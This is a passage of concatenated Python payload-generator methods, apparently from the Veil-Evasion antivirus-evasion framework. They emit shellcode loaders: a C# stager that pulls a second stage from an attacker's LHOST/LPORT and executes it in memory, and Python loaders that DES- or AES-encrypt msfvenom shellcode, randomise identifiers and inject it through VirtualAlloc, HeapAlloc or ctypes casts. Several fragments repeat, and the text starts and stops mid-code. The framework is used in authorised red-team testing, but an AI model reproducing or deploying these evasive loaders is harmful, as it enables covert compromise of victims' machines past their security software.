-1);\n" return payloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # build our your payload sourcecode PayloadCode = "..." # add in a randomized string PayloadCode += helpers.randomString() # example of how to check the internal options if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) # return everything return PayloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # build our your payload sourcecode PayloadCode = "..." # add in a randomized string PayloadCode += helpers.randomString() # example of how to check the internal options if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) # return everything return PayloadCode
def generate(self): # randomize the output file so we don't overwrite anything randName = helpers.randomString(5) + ".exe" outputFile = settings.TEMP_DIR + randName # the command to invoke hyperion. TODO: windows compatibility peCommand = "wine PEScrambler.exe -i " + self.required_options[ "ORIGINAL_EXE"][0] + " -o " + outputFile print helpers.color("\n[*] Running PEScrambler on " + self.required_options["ORIGINAL_EXE"][0] + "...") # be sure to set 'cwd' to the proper directory for hyperion so it properly runs p = subprocess.Popen(peCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH + "tools/pescrambler/", shell=True) time.sleep(3) stdout, stderr = p.communicate() try: # read in the output .exe from /tmp/ f = open(outputFile, 'rb') PayloadCode = f.read() f.close() except IOError: print "\nError during PEScrambler execution:\n" + helpers.color( stdout, warning=True) raw_input("\n[>] Press any key to return to the main menu.") return "" # cleanup the temporary output file. TODO: windows compatibility p = subprocess.Popen("rm " + outputFile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout, stderr = p.communicate() return PayloadCode
def generate(self): getDataName = helpers.randomString() injectName = helpers.randomString() payloadCode = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;\n" payloadCode += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) hostName = helpers.randomString() portName = helpers.randomString() ipName = helpers.randomString() sockName = helpers.randomString() length_rawName = helpers.randomString() lengthName = helpers.randomString() sName = helpers.randomString() total_bytesName = helpers.randomString() handleName = helpers.randomString() payloadCode += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName) payloadCode += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName) payloadCode += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName) payloadCode += " try { %s.Connect(%s); }\n" %(sockName, ipName) payloadCode += " catch { return null;}\n" payloadCode += " byte[] %s = new byte[4];\n" %(length_rawName) payloadCode += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName) payloadCode += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName) payloadCode += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName) payloadCode += " int %s = 0;\n" %(total_bytesName) payloadCode += " while (%s < %s)\n" %(total_bytesName, lengthName) payloadCode += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName) payloadCode += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName) payloadCode += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName) payloadCode += " return %s;}\n" %(sName) sName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() payloadCode += "static void %s(byte[] %s) {\n" %(injectName, sName) payloadCode += " if (%s != null) {\n" %(sName) payloadCode += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payloadCode += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payloadCode += " UInt32 %s = 0;\n" %(threadIdName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payloadCode += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payloadCode += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) sName = helpers.randomString() payloadCode += "static void Main(){\n" payloadCode += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0]) payloadCode += " %s(%s); }\n" %(injectName, sName) # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) if self.required_options["use_arya"][0].lower() == "y": payloadCode = encryption.arya(payloadCode) return payloadCode
def generate(self): if self.required_options["INJECT_METHOD"][0].lower() == "virtual": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len('+ ShellcodeVariableName +')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += '\t' + RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len('+ ShellcodeVariableName +')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tavlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\tavlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["INJECT_METHOD"][0].lower() == "heap": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() HeapVar = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += '\t' + RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += '\t' + HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tavlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\tavlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'from ctypes import *\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = ' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandDESKey = helpers.randomString() RandDESPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (DESKey, iv) ) = encryption.encryptDES(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'from ctypes import *\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += '\t' + RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = ' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["inject_method"][0].lower() == "heap": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += '\t' + HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode else: if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + 